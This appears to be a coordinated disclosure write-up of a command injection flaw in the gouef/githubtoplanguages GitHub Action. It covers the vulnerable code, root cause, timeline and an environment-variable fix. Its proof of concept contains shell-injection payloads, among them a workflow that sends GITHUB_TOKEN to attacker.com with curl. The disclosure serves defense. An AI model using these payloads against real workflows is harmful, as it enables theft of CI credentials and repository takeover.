Executive Summary
During security research into GitHub Actions composite actions, a critical command injection flaw was uncovered in gouef/githubtoplanguages (action.yml:64-67). The action constructed shell commands by embedding raw input expressions (${{ inputs.botName }} and ${{ inputs.botEmail }}) directly into run: script blocks without environment boundaries. An adversary supplying shell metacharacters could escape quotes, execute arbitrary commands with the privileges of the runner user, exfiltrate the repo GITHUB_TOKEN with contents: write access, or spawn an interactive reverse shell.
Coordinated Disclosure Timeline
Vulnerability identified in action.yml string interpolation; reported privately to maintainer via GitHub Security Advisory.
Maintainer (@JanGalek) accepted the report, acknowledged CVSS Critical severity, and initiated CVE assignment request.
Follow-up coordinated disclosure exchanges between reporter (@madhanalagarsamy) and maintainer.
Official GitHub Security Advisory GHSA-8rfq-rmx4-8qhr published on GitHub Advisory Database as Critical severity.
01.Vulnerable Code Pattern (action.yml:64-67)
The composite action configures Git author details prior to committing updated language statistics. The raw input values are pasted directly into the run block without an intermediate environment variable boundary:
- name: Set up Git
run: |
git config --global user.name "${{ inputs.botName }}"
git config --global user.email "${{ inputs.botEmail }}"
shell: bash02.Root Cause: Expression Preprocessing vs. Shell Execution
${{ ... }} is a GitHub Actions expression preprocessing step: the runner evaluates the expression and textually splices the raw input string directly into the shell script file before bash ever parses it. Because the input sits within plain double quotes on its own line with no trailing syntax requirements, an attacker can break out of the quotes using "; <arbitrary command>; echo ", leading to seamless execution without syntax errors.
Reproduction & Proof of Concept (PoC)
The proof of concept confirmed arbitrary shell command execution, proof-of-compromise marker file generation, and credential exfiltration on the runner.
- Craft a workflow utilizing gouef/githubtoplanguages with an injection payload in botName: Jan"; touch /tmp/GITHUB_BOTNAME_PWNED.txt; whoami; echo "
- Trigger the workflow via workflow_dispatch or pull request.
- Observe the rendered command: git config --global user.name "Jan"; touch /tmp/GITHUB_BOTNAME_PWNED.txt; whoami; echo ""
- Execution confirmed: /tmp/GITHUB_BOTNAME_PWNED.txt was created and whoami output the CI runner user.
- Token exfiltration demonstration: Crafting payload botName: 'Jan"; curl -X POST https://attacker.com/exfil -d "$GITHUB_TOKEN"; echo "' sends the repository write token directly to attacker infrastructure.
on: workflow_dispatch
jobs:
generate:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- uses: gouef/githubtoplanguages@main
with:
user: "JanGalek"
limit: 12
botName: 'Jan"; curl -X POST https://attacker.com/exfil -d "$GITHUB_TOKEN"; echo "'
botEmail: "bot@example.com"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}Impact & Blast Radius
Remediation & Mitigation
- name: Set up Git
env:
BOT_NAME: ${{ inputs.botName }}
BOT_EMAIL: ${{ inputs.botEmail }}
run: |
git config --global user.name "$BOT_NAME"
git config --global user.email "$BOT_EMAIL"
shell: bash